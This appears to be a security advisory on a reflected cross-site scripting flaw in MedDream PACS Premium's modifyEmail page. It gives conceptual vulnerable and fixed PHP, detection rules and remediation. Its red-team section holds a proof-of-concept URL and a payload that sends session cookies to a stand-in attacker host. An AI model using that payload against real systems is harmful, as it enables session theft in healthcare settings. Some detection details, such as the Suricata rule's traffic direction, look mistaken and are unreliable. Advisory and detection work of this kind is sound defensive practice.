CVE-2025-57881

Executive Summary

CVE-2025-57881 is a reflected cross-site scripting (XSS) vulnerability in the modifyEmail functionality of MedDream PACS Premium version 7.3.6.870. This flaw allows an attacker to craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. The vulnerability has a CVSS score of 6.1 (Medium) and is currently unpatched. Given the EPSS score of 0.0%, exploitation is not widespread, but the risk remains significant for healthcare environments using this PACS system.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary web application vulnerability in MedDream PACS Premium.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - The attacker does not need authentication to craft the malicious URL.
• User Interaction (UI): Required (R) - The victim must click the crafted URL.
• Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited data modification is possible.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. While the CVSS score is 6.1, the potential for session hijacking, data theft, and lateral movement in a healthcare environment elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the modifyEmail functionality of MedDream PACS Premium. The application fails to properly sanitize user-supplied input reflected in the URL. When a victim clicks a crafted link, the malicious JavaScript is executed in the context of the authenticated session.

Attack Flow:

1. Attacker crafts a URL containing malicious JavaScript in the email parameter (or similar).
2. Attacker delivers the URL via phishing email, social media, or other means.
3. Victim, authenticated to MedDream PACS, clicks the link.
4. The server reflects the malicious input without proper encoding.
5. The victim's browser executes the JavaScript, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.

Root Cause: Lack of output encoding/escaping for user-controlled input reflected in the HTTP response.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix is provided.

Vulnerable Code (Conceptual):

// modifyEmail.php
$email = $_GET['email'];
echo "<input type='text' name='email' value='$email'>";

Patched Code (Conceptual):

// modifyEmail.php
$email = htmlspecialchars($_GET['email'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='email' value='$email'>";

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

http://target/modifyEmail?email=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

http://target/modifyEmail?email=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Lab Setup:

1. Deploy MedDream PACS Premium 7.3.6.870 in a controlled environment.
2. Authenticate as a user.
3. Craft the malicious URL and send it to the victim (simulated).
4. Observe JavaScript execution and cookie exfiltration.

Blue Team

Detection:

• Monitor web server logs for requests to modifyEmail with suspicious parameters (e.g., <script>, onerror, javascript:).
• Use WAF rules to block reflected XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate impact.

Hunting:

• Search for URLs containing modifyEmail?email= followed by encoded or raw HTML/JavaScript.
• Correlate with user reports of unexpected redirects or pop-ups.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /modifyEmail?email=<script>...
  • Outbound connections to attacker-controlled domains from the PACS server.
• Host:
  • Web server logs showing alert, document.cookie, or onerror in the email parameter.
• File:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_57881_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS modifyEmail"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-57881"
    strings:
        $xss_pattern1 = /modifyEmail\?email=.*<script>/i
        $xss_pattern2 = /modifyEmail\?email=.*onerror=/i
        $xss_pattern3 = /modifyEmail\?email=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against MedDream PACS modifyEmail
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts targeting the modifyEmail endpoint
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'modifyEmail?email='
        cs-uri-query|re: 
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of email parameter with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57881 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/modifyEmail"; http_uri; content:"email="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict input validation on the email parameter.
2. Output Encoding: Use context-appropriate encoding (e.g., HTML entity encoding) for all reflected data.
3. WAF Rules: Deploy Web Application Firewall rules to block XSS patterns.
4. CSP Header: Add Content-Security-Policy header to restrict script execution.

Long-Term Fix:

• Vendor must release a patch that properly sanitizes user input.
• Until then, consider isolating the PACS system from the internet and using VPN access.

Workaround:

• Disable the modifyEmail functionality if not required.
• Use a reverse proxy to filter malicious requests.

Valters IT
Securing Healthcare, One Vulnerability at a Time